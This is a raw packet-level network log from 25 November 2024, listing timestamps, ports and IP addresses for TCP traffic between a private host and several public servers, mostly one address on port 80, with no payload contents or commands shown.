Nov 25, 2024 05:46:48.792687893 CET	443	49894	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:48.792934895 CET	49894	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:48.793409109 CET	49894	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:48.793457031 CET	443	49894	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:48.793807030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.793868065 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.793867111 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.793901920 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.794380903 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.794439077 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.794548988 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.794588089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.794680119 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.794718027 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.795782089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.795900106 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.795942068 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.796705961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.796756029 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.796828985 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.796890974 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.797796965 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.797844887 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.797935009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.798049927 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.798881054 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.798932076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.798965931 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.799000978 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.799981117 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.800025940 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.800086021 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.800143003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.801048040 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.801098108 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.801182032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.801233053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.802120924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.802165985 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.802207947 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.803245068 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.803292036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.803308964 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.803533077 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.804312944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.804327965 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.804373026 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.805418015 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.805434942 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.805468082 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.805497885 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.806483984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.806577921 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.806581974 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.806606054 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.807550907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.807606936 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.807667971 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.807704926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.808638096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.808687925 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.808753967 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.808793068 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.809760094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.809812069 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.809875965 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.809964895 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.810791969 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.810858965 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.810920954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.811038971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.811898947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.812022924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.812066078 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.813035011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.813082933 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.813163042 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.813194990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.814078093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.814125061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.814157009 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.814214945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.815157890 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.815175056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.815207958 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.816226959 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.816272974 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.816335917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.816375971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.817305088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.817354918 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.817375898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.817410946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.818439960 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.818480015 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.818492889 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.818526030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.819530010 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.819600105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.819600105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.819637060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.820579052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.820646048 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.820687056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.820750952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.821661949 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.821681023 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.821712971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.821738005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.822721958 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.822794914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.822844028 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.822885036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.823810101 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.823879004 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.823921919 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.823996067 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.824901104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.824950933 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.824985981 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.825031042 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.825970888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.826039076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.826078892 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.826184988 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.827058077 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.827111959 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.827183962 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.827224970 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.828176022 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.828236103 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.828264952 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.828373909 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.829242945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.829309940 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.829385042 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.829488993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.830313921 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.830372095 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.830401897 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.830441952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.831415892 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.831475973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.831501007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.831551075 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.832509041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.832559109 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.832567930 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.832640886 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.833573103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.833643913 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.833689928 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.833770990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.834649086 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.834727049 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.834742069 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.834763050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.835748911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.835800886 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.835834980 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.835923910 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.850979090 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.851201057 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.851244926 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.852273941 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.852339029 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.852716923 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.852788925 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.852886915 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.852902889 CET	443	49887	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:48.883625031 CET	49886	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.918615103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.918698072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.918721914 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.918776989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.919097900 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.919146061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.919209957 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.919254065 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.920206070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.920255899 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.920480967 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.920547962 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.921276093 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.921324015 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.921402931 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.921545982 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.922352076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.922403097 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.922452927 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.922498941 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.923423052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.923477888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.923501968 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.923544884 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.924510002 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.924555063 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.924628019 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.924673080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.925582886 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.925631046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.925636053 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.925669909 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.926666021 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.926774025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.926794052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.926896095 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.927762032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.927809000 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.927850008 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.927906036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.928854942 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.928914070 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.928939104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.928985119 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.929917097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.929995060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.930027962 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.930074930 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.931267977 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.931351900 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.931416988 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.931483984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.932058096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.932117939 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.985493898 CET	49887	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:48.995059013 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.995126963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.995136023 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.995177031 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.995636940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.995691061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.995737076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.995775938 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.996485949 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.996539116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.996644974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.996793985 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.997611046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.997670889 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.997801065 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.997929096 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.998641014 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.998692989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.998778105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.998825073 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.999737978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.999787092 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:48.999788046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:48.999840021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.000860929 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.000933886 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.001018047 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.001063108 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.001908064 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.001923084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.001976013 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.002985954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.003011942 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.003068924 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.004055023 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.004102945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.004157066 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.004215002 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.005141973 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.005197048 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.005250931 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.005299091 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.006222010 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.006350994 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.006400108 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.007332087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.007385969 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.007433891 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.007478952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.008395910 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.008446932 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.008487940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.008529902 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.009469986 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.009583950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.009599924 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.009634018 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.010550022 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.010605097 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.010648012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.010694981 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.011656046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.011717081 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.011753082 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.011823893 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.012744904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.012808084 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.012846947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.013072968 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.013824940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.013880014 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.013946056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.014015913 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.014883041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.015018940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.015032053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.015072107 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.016012907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.016108990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.016122103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.016176939 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.017100096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.017143965 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.017188072 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.017230988 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.018145084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.018188953 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.018254042 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.018295050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.019231081 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.019368887 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.019378901 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.019469023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.020328045 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.020534992 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.020549059 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.020591974 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.021367073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.021415949 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.021507025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.021544933 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.022511005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.022605896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.022615910 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.022645950 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.023578882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.023633957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.023674011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.023762941 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.024657011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.024699926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.024734974 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:49.024775982 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:49.025736094 CET	80	49829	185.215.113.206	192.168.2.6
